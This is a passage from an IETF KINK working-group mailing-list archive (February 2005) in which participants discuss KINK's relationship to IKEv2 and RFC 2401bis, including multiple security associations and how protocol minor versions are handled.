ESMTP id j12K6Ouu020070; Wed, 2 Feb 2005 12:06:24 -0800 Subject: Re: KINK should referenece to IKEv2? From: Michael Thomas To: Sam Hartman Cc: Shoichi Sakane , ietf-kink@vpnc.org, kent@bbn.com In-Reply-To: References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-aEJ8kSeC7FH/ofQYo6NP" Organization: Cisco Systems Message-Id: <1107375041.6706.10.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 02 Feb 2005 12:10:41 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107374784.483090"; x:"432200"; a:"rsa-sha1"; b:"nofws:1828"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"KX0jhpZjEisZkFv12PdQJmwnTAhj24fqS0MB6rrotNr2JGVutADTQaktFGjsQ4r4HmaiIfJT" "H2+d0/aW3TXEeGszzOW8S5SZk+O3SzkdNZ881kV0GiSMEl09zQjpyvQTYlWNuGdf45wLdNNn3WK" "wvGiWMJ+hrr0Gz6PkFASddpc="; c:"Subject: Re: KINK should referenece to IKEv2?"; c:"From: Michael Thomas "; c:"Date: Wed, 02 Feb 2005 12:10:41 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-aEJ8kSeC7FH/ofQYo6NP Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 11:19, Sam Hartman wrote: > I'm not trying to require Kink to support all features that 2401bis > requires from a key management protocol. It's fine if on a 2401bis > system sometimes the IPsec architecture requests Kink to set up a SA > but Kink fails because it does not support something about the SA. >=20 > What I am requiring is that Kink work with a 2401bis system. That is, > the Kink specification needs to use the same terminology and model as > 2401bis. Similarly it needs to be possible to implement Kink on a > 2401bis system and the only problem should be that some features > 2401bis would like to have from an automated key management protocol > are not available. So from Steve's last email, I read it as our having met your requirement since IKEv1 can still do its job on 2401bis as well as it did for 2401. A more interesting=20 question is whether there's a way for KINK to easily inherit the new/changed IKEv2 payloads that support the 2401bis features. Without having read what exactly ikev2 did to do this, it strikes me as a non-trivial issue since it requires dragging in all kinds of "what if's" of negotiation, downgrading, etc, but like I said I haven't looked at what they did to the phase 2 payloads. If they did a good job and the new "phase 2" proposals can gracefully downgrade in the same message to ikev1 compatible proposals, it may=20 be relatively straightfoward, but I'm dubious since ikev2=20 doesn't even have a "phase 1" so the protocol drivers are fundamentally different. For example: does v1/v2 they even=20 run on the same port? Mike --=-aEJ8kSeC7FH/ofQYo6NP Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgEzwbMsDAj/Eq++AQJHjwP+OI2N9dLJMc/7kQhJD/kjTSGGemcf2gw3 Nm5OgeDpGkcvUXFrYCX45vnehpjEsSMK6MwaKaT9TmxukEJ10/UhcQ1RaERTlq3m ephFZeTKRY1OL1uMSEMfbaCSB6YUT3zKb2fYThTzjRNZjaG7r2EuLlsPGRVe0AgA 8mqJGN8If8k= =WhB2 -----END PGP SIGNATURE----- --=-aEJ8kSeC7FH/ofQYo6NP-- From owner-ietf-kink Wed Feb 2 12:19:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KJigi002494; Wed, 2 Feb 2005 12:19:44 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12KJiM5002493; Wed, 2 Feb 2005 12:19:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KJdOx002484 for ; Wed, 2 Feb 2005 12:19:39 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-3.cisco.com with ESMTP; 02 Feb 2005 13:29:57 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j12KJSoQ003685; Wed, 2 Feb 2005 12:19:29 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j12KFCG7020221; Wed, 2 Feb 2005 12:15:13 -0800 Subject: Re: KINK issue list rev.2 From: Michael Thomas To: Sam Hartman Cc: Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <20050202114930V.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-TYNImRgaQSVQC/00noQZ" Organization: Cisco Systems Message-Id: <1107375570.6706.19.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 02 Feb 2005 12:19:30 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107375313.264227"; x:"432200"; a:"rsa-sha1"; b:"nofws:1830"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"PoNNLpglTZMfA97SKwvh6JX251kDO+IYIL8ruDIkBlSBRfAHo608RwdePhXAiQE0F4WgIDUo" "t7yzdfvd6d52e84Gs8Jqr2fypIAYEFJ6PEpqKmA/7dQEvE23Cvm1JM5h5D+3/xXk6ttCnA4T+ha" "+NzczO/orG1mKcpngXSwfiCc="; c:"Subject: Re: KINK issue list rev.2"; c:"From: Michael Thomas "; c:"Date: Wed, 02 Feb 2005 12:19:30 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-TYNImRgaQSVQC/00noQZ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 11:06, Sam Hartman wrote: > >>>>> "Shoichi" =3D=3D Shoichi Sakane writes: >=20 > >> Speaking as an individual, normally when there is a major > >> version and a minor version the intent is that using a greater > >> minor version than one side expects is acceptable. >=20 > Shoichi> correct. do you comment that the document does not touch > Shoichi> a minor version ? >=20 > Correct. The only thing I find is an invalid minor version error and > a requirement that implementations MUST use version 1.0. It doesn't > say what happens if a recipient receives a greater minor version. >=20 > Again, if the WG wants to use minor versions the same as major > versions, that's OK but needs to be called out because it is not what > people expect. =46rom a jaded perspective: when is the last time a minor version on a protocol has actually helped? Or for that matter a major version? Usually the semantics of major/minor or non-backward compatible vs. backward compatible. That is, a receiver MUST be able to deal with a higher minor version and just ignore things it doesn't understand. But as I say, in practice things get a lot messier. Maybe this would be a way to deal with new IKEv2 stuff, but it's all rather dependent on what morphed with phase 2 payloads. So I'm rather ambivalent. The current phrasing will certainly do it's main job: stopping a receiver from incorrectly parsing future versions and the potential exploits that could result. Maybe we really should leave it at that if for no other reason from a security/system analysis standpoint. Mike --=-TYNImRgaQSVQC/00noQZ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgE10rMsDAj/Eq++AQJ51QQAw+qigg2pW+C4ufJR/3AyZafDoo+kAVwL XIK/tzdOpGfl3tLJAeaKUCHQZOk7eoZk39kR/nr/u+3FnSaFV+BqxqT0LjQ+YOe0 nI/lj1IBBPKMg6VnFrSTQoq5buOpN8L2rqE/hiNsC3HMv2emCOUJEo107iczU9sR yxTTuFwQWCY= =FImx -----END PGP SIGNATURE----- --=-TYNImRgaQSVQC/00noQZ-- From owner-ietf-kink Wed Feb 2 12:22:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KMfVQ002682; Wed, 2 Feb 2005 12:22:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12KMfrJ002681; Wed, 2 Feb 2005 12:22:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KMeNS002658 for ; Wed, 2 Feb 2005 12:22:40 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 61BDEE0063; Wed, 2 Feb 2005 15:22:38 -0500 (EST) To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org, kent@bbn.com Subject: Re: KINK should referenece to IKEv2? References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> <1107375041.6706.10.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Wed, 02 Feb 2005 15:22:38 -0500 In-Reply-To: <1107375041.6706.10.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Wed, 02 Feb 2005 12:10:41 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> So from Steve's last email, I read it as our having met Michael> your requirement since IKEv1 can still do its job on Michael> 2401bis as well as it did for 2401. More or less. There are issues like the SPD PAD split that need to be addressed in the document. Similarly, we need to confirm that the text added about rekey timeouts does not conflict with kink. But I do expect the answer to this question to be yes. Michael> A more interesting Michael> question is whether there's a way for KINK to easily Michael> inherit the new/changed IKEv2 payloads that support the Michael> 2401bis features. Or whether there is an easy way to get this functionality. Note this is not a requirement I have, but I do agree as an individual that it is at least worth thinking about. I think the main 2401bis feature is multiple SAs between two destinations. Kink actually already has this capability. It may be that by changing the text slightly and removing the requirement on selecting which SA to use if multiple SAs exist, we can get most 2401bis functionality. --Sam From owner-ietf-kink Wed Feb 2 12:32:24 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KWOCc003370; Wed, 2 Feb 2005 12:32:24 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12KWOPx003369; Wed, 2 Feb 2005 12:32:24 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KWOEe003363 for ; Wed, 2 Feb 2005 12:32:24 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3CD28E0063; Wed, 2 Feb 2005 15:32:22 -0500 (EST) To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 References: <20050202114930V.sakane@kame.net> <1107375570.6706.19.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Wed, 02 Feb 2005 15:32:22 -0500 In-Reply-To: <1107375570.6706.19.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Wed, 02 Feb 2005 12:19:30 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> So I'm rather ambivalent. The current phrasing will Michael> certainly do it's main job: stopping a receiver from Michael> incorrectly parsing future versions and the potential Michael> exploits that could result. Maybe we really should leave Michael> it at that if for no other reason from a security/system Michael> analysis standpoint. If you want to leave it please at least say that the receiver must send back the appropriate bad version error. From owner-ietf-kink Wed Feb 2 12:43:57 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12Khv09004152; Wed, 2 Feb 2005 12:43:57 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12KhvZY004151; Wed, 2 Feb 2005 12:43:57 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12KhvWL004141 for ; Wed, 2 Feb 2005 12:43:57 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 02 Feb 2005 13:54:14 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j12KhkHo009197; Wed, 2 Feb 2005 12:43:47 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j12KdU0c020514; Wed, 2 Feb 2005 12:39:30 -0800 Subject: Re: KINK issue list rev.2 From: Michael Thomas To: Sam Hartman Cc: Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <20050202114930V.sakane@kame.net> <1107375570.6706.19.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-WgPa2GHFQfJJl6siHFp5" Organization: Cisco Systems Message-Id: <1107377028.6704.22.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 02 Feb 2005 12:43:48 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107376770.999984"; x:"432200"; a:"rsa-sha1"; b:"nofws:1107"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"Qf1q8kKJuLZV1Qv6dvhs3OCITnGn+/hGT3IE4jzQ2MrhPuye6fgB/vxMILGWCOLFxEhJj76O" "iOZdcSrknJw2bqd6BfWWS8yY3/Fjr2T9J/2RK4pgaENCqCPTKHHHBvMeyqwVm5xQjUpqVujP3av" "pJC8iJCZtQeHYFxvdjsoa++E="; c:"Subject: Re: KINK issue list rev.2"; c:"From: Michael Thomas "; c:"Date: Wed, 02 Feb 2005 12:43:48 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-WgPa2GHFQfJJl6siHFp5 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 12:32, Sam Hartman wrote: > >>>>> "Michael" =3D=3D Michael Thomas writes: >=20 > Michael> So I'm rather ambivalent. The current phrasing will > Michael> certainly do it's main job: stopping a receiver from > Michael> incorrectly parsing future versions and the potential > Michael> exploits that could result. Maybe we really should leave > Michael> it at that if for no other reason from a security/system > Michael> analysis standpoint. >=20 > If you want to leave it please at least say that the receiver must > send back the appropriate bad version error. Well, I'm actually asking what others want here. I sort of tend toward this, but it's not just my call here... Mike --=-WgPa2GHFQfJJl6siHFp5 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgE7hLMsDAj/Eq++AQIMUAQAp0ioRCcYpwByAoBAUg5ipGx4svsksx0L hqzpWQW+xpE3IFcONVJ5I1Z+TP4A1iM6htzZjNHwd1gHmySN623vCXbR9FYCeJa3 lNr1iPtHeqsAmHdGcRJlZVArI2T29g6uBozqaQ43DK+pF9mrthIaoHXG9t7z05If b4PVxqWnJuQ= =PW0I -----END PGP SIGNATURE----- --=-WgPa2GHFQfJJl6siHFp5-- From owner-ietf-kink Wed Feb 2 14:09:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12M9fGs010827; Wed, 2 Feb 2005 14:09:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12M9fav010826; Wed, 2 Feb 2005 14:09:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12M9Sae010792 for ; Wed, 2 Feb 2005 14:09:28 -0800 (PST) (envelope-from kent@bbn.com) Received: from [198.202.64.63] (ramblo.bbn.com [128.33.0.51]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id j12M8pjl015657; Wed, 2 Feb 2005 17:09:06 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> <1107375041.6706.10.camel@thomasm-lnx.cisco.com> Date: Wed, 2 Feb 2005 17:03:36 -0500 To: Sam Hartman From: Stephen Kent Subject: Re: KINK should referenece to IKEv2? Cc: Michael Thomas , Shoichi Sakane , ietf-kink@vpnc.org, Stephen Kent Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sam, > >I think the main 2401bis feature is multiple SAs between two >destinations. Kink actually already has this capability. It may be >that by changing the text slightly and removing the requirement on >selecting which SA to use if multiple SAs exist, we can get most >2401bis functionality. 2401 already requires support for multiple SAs between a pair of peers. What 2401bis adds is a requirement to support these multiple SAs to have identical selectors, and where we are not just replacing one SA with a successor. Steve From owner-ietf-kink Wed Feb 2 15:25:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12NPlAu015373; Wed, 2 Feb 2005 15:25:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12NPlJu015372; Wed, 2 Feb 2005 15:25:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12NPe1L015361 for ; Wed, 2 Feb 2005 15:25:40 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-2.cisco.com with ESMTP; 02 Feb 2005 15:32:59 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j12NPWF1024310; Wed, 2 Feb 2005 15:25:32 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j12NLDtV022194; Wed, 2 Feb 2005 15:21:13 -0800 Subject: Re: KINK should referenece to IKEv2? From: Michael Thomas To: Stephen Kent Cc: Sam Hartman , Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> <1107375041.6706.10.camel@thomasm-lnx.cisco.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-oTSk5WA/cVC1mcfhgdG+" Organization: Cisco Systems Message-Id: <1107386731.6704.27.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 02 Feb 2005 15:25:31 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107386473.822125"; x:"432200"; a:"rsa-sha1"; b:"nofws:837"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"FGO7ceuoE67ryf2qLWzrYIx0CQ61Ty2uqXN72E7DfR7q1QFFh4bCYE5P6yXpT9h1gc3kU4vU" "uQXxKGys1AmFZj6VSraK1kG2E1sUet0wyNy3X72nT6/uRXEXLvwdR8/XkpM/HTcuJdJOzK/5t1O" "102CkUBJUOEb+pf/jTvFsKbc="; c:"Subject: Re: KINK should referenece to IKEv2?"; c:"From: Michael Thomas "; c:"Date: Wed, 02 Feb 2005 15:25:31 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-oTSk5WA/cVC1mcfhgdG+ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 14:03, Stephen Kent wrote: > 2401 already requires support for multiple SAs between a pair of=20 > peers. What 2401bis adds is a requirement to support these multiple=20 > SAs to have identical selectors, and where we are not just replacing=20 > one SA with a successor. We're somewhat far afield of KINK, but what was this for? Load balancing? QoS treatment?=20 Mike --=-oTSk5WA/cVC1mcfhgdG+ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgFha7MsDAj/Eq++AQLlVQP9HmQ4vvaUwu53jlFUTb2N0gOXpglKvPQI DfZ8rK31lADa3X1qCdPT5qZsIdBVj+5GOU17ImR/1Xzr6RP7PXko2Km/SdY4S33Z 2+FfeWUC4+hKNgR082Ub6h7Um4hY+gYAStn0r1deylkKH3oqr9iWkVSyqibG2vRt KZMvyCJdpt0= =+y3X -----END PGP SIGNATURE----- --=-oTSk5WA/cVC1mcfhgdG+-- From owner-ietf-kink Wed Feb 2 15:36:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12Na3Rk015999; Wed, 2 Feb 2005 15:36:03 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j12Na334015998; Wed, 2 Feb 2005 15:36:03 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j12Na2lP015990 for ; Wed, 2 Feb 2005 15:36:02 -0800 (PST) (envelope-from kent@bbn.com) Received: from [198.202.64.63] (ramblo.bbn.com [128.33.0.51]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id j12NYXjf019431; Wed, 2 Feb 2005 18:34:34 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: <1107386731.6704.27.camel@thomasm-lnx.cisco.com> References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> <1107375041.6706.10.camel@thomasm-lnx.cisco.com> <1107386731.6704.27.camel@thomasm-lnx.cisco.com> Date: Wed, 2 Feb 2005 18:27:14 -0500 To: Michael Thomas From: Stephen Kent Subject: Re: KINK should referenece to IKEv2? Cc: Sam Hartman , Shoichi Sakane , ietf-kink@vpnc.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 3:25 PM -0800 2/2/05, Michael Thomas wrote: >On Wed, 2005-02-02 at 14:03, Stephen Kent wrote: >> 2401 already requires support for multiple SAs between a pair of >> peers. What 2401bis adds is a requirement to support these multiple >> SAs to have identical selectors, and where we are not just replacing >> one SA with a successor. > >We're somewhat far afield of KINK, but what was this >for? Load balancing? QoS treatment? > > Mike QoS. Steve From owner-ietf-kink Wed Feb 2 19:23:21 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j133NLKV029799; Wed, 2 Feb 2005 19:23:21 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j133NLro029798; Wed, 2 Feb 2005 19:23:21 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sh.wide.ad.jp (sh.wide.ad.jp [203.178.137.85]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j133N1UX029767 for ; Wed, 2 Feb 2005 19:23:08 -0800 (PST) (envelope-from masahiro@isl.rdc.toshiba.co.jp) Received: from grayswandir.local.wide.ad.jp (localhost [127.0.0.1]) by sh.wide.ad.jp (8.12.11+3.5Wbeta/8.12.11/smtpfeed 1.20) with ESMTP id j133Mg2N008932; Thu, 3 Feb 2005 12:22:42 +0900 (JST) Date: Thu, 03 Feb 2005 12:22:41 +0900 Message-ID: From: Masahiro =Rhythm Drive= Ishiyama To: kent@bbn.com Cc: hartmans-ietf@mit.edu, sakane@kame.net, mat@cisco.com, ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? In-Reply-To: References: <1106238787.2951.51.camel@thomasm-lnx.cisco.com> <20050202111406N.sakane@kame.net> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) SEMI/1.14.5 (Awara-Onsen) FLIM/1.14.5 (Demachiyanagi) APEL/10.6 Emacs/21.3.50 (powerpc-apple-darwin7.7.0) MULE/5.0 (SAKAKI) Organization: WIDE Project. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> On Wed, 2 Feb 2005 14:47:21 -0500, Stephen Kent said: > > Your characterization of 2401bis is correct, i.e., if one chooses to > use IKEv1 with a 2401bis implementation, then it may not be possible > to instantiate some SAs, i.e., ones that make use of new SPD features. I'm getting a little bit confused. If I understand correctly, we can implement KINK that works with 2041bis-based IPsec stack, using IKEv1 payload. So how about the opposite side? I mean, can we implement KINK that works both 2041-based and 2041bis-based IPsec stack? As some people mentioned before, there are already so many 2041-based IPsec stacks in the market. Basically I want a KINK daemon/application/whatever that works on existing 2041-based systems, but I wish that code conforms the KINK-RFC-specification. masahiro From owner-ietf-kink Wed Feb 2 20:09:19 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1349Jpn033487; Wed, 2 Feb 2005 20:09:19 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1349J5Y033486; Wed, 2 Feb 2005 20:09:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1349IUf033464 for ; Wed, 2 Feb 2005 20:09:18 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id B1B6A5 for ; Thu, 3 Feb 2005 13:08:52 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1o1YiA; Thu, 3 Feb 2005 13:08:52 +0900 (JST) 